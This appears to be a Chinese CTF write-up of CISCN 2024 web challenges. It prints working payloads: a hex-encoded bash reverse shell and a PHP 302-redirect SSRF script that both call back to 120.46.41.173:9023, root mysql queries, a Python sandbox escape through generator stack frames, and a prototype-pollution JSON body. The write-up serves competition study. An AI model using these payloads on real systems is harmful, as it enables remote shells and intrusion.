CISCN 2024 Web赛题实战剖析:从PHP代码审计到Python沙箱逃逸的攻防博弈
1. PHP代码审计实战:从源码泄露到命令注入
在CTF比赛中,PHP代码审计类题目往往是最常见的入门题型。这次遇到的Simple_php题目看似简单,却暗藏玄机。题目直接给出了源码,这种"开卷考试"反而更考验选手的基础功底。
首先用paste或rev命令读取文件时,发现一个关键线索:系统存在mysql用户。通过cmd=mysql --version确认服务确实在运行,再用ps -aux进一步验证。这里有个细节技巧:当根目录没有flag文件时,我们需要转换思路,从数据库入手寻找突破口。
命令执行绕过是这道题的核心考点。由于引号被过滤,我采用十六进制编码反弹shell的方式:
cmd=php -r $a=ff3b62617368202d63202262617368202d69203e26202f6465762f7463702f3132302e34362e34312e3137332f3930323320303e2631223b;system(hex2bin($a));这个payload的精妙之处在于:
- 用hex2bin避免直接使用引号
- 变量名以字母开头防止被识别为数字
- 完整的bash反弹shell十六进制编码
成功获取shell后,通过mysql命令行查询flag:
mysql -uroot -proot -e "show databases;" mysql -uroot -proot -e "use PHP_CMS;show tables;" mysql -uroot -proot -e "use PHP_CMS;SELECT * FROM F1ag_Se3Re7;"2. CMS漏洞利用:从SSRF到权限提升
easycms这道题展示了真实环境中CMS系统的典型漏洞链。题目提示存在/flag.php,但限制仅允许127.0.0.1访问:
if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){ echo "Just input 'cmd' From 127.0.0.1"; return; }else{ system($_GET['cmd']); }通过信息搜集发现这是迅睿CMS系统,在GitHub找到源码后,重点审计Api.php的qrcode函数和Helper.php的dr_catcher_data函数。发现thumb参数存在SSRF漏洞,可以构造302跳转绕过本地限制:
<?php header("Location:http://127.0.0.1/flag.php?cmd=bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F120.46.41.173%2F9023%200%3E%261%22"); exit(); ?>最终利用payload:
/index.php?s=api&c=api&m=qrcode&text=111&size=111&level=1&thumb=http://120.46.41.173/Jay17/302.php在easycms_revenge题目中,防御方增加了图片类型检测。这时需要结合文件上传漏洞的绕过技巧,在302脚本前添加GIF89a魔术字:
GIF89a <html> <?php header("Location:http://127.0.0.1/flag.php?cmd=bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F120.46.41.173%2F9023%200%3E%261%22"); exit(); ?> </html>3. Python沙箱逃逸:从字节码审计到栈帧利用
mossfern题目展示了一个Python在线执行环境的沙箱逃逸过程。系统通过三层防御机制保护:
- 基础字符串检查:过滤非ASCII字符和危险关键词(__、getattr、exit)
- 审计钩子:监控危险操作(os、sys、open等)
- 字节码检查:禁止LOAD_GLOBAL等危险操作码
突破口在于生成器函数的栈帧对象。通过gi_frame属性可以获取当前栈帧,利用f_back属性回溯调用链:
def waff(): def f(): yield g.gi_frame.f_back g = f() frame = [x for x in g][0] gattr = frame.f_back.f_back.f_back.f_globals["_"*2+"builtins"+"_"*2] dir = gattr.dir str = gattr.str最终通过分析代码对象的co_consts属性获取flag:
def exp(): def scq(): yield scq.gi_frame.f_back scq = scq() frame = [x for x in scq][0] gattr = frame.f_back.f_back.f_back.f_globals["_"*2+"builtins"+"_"*2] getflag = frame.f_back.f_back.f_back.f_code for i in str(getflag.co_consts): print(i)4. Sanic框架漏洞:从原型污染到权限绕过
*sanic题目展示了Web框架层面的安全问题。通过审计源码发现几个关键点:
- 登录验证存在逻辑缺陷:
if user.lower() == 'adm;n' - 使用存在漏洞的pydash库(5.1.2版本)
- 存在原型污染风险点:
pydash.set_(pollute, key, value)
利用链构造如下:
- 首先设置cookie:
user=adm;n绕过登录验证 - 然后发送精心构造的JSON数据污染原型:
{ "key": "__proto__.admin", "value": true }这个案例提醒我们,即使是现代Web框架,错误的使用方式也会带来严重的安全问题。开发时应当:
- 严格校验用户输入
- 避免使用存在已知漏洞的第三方库
- 对敏感操作进行多重验证
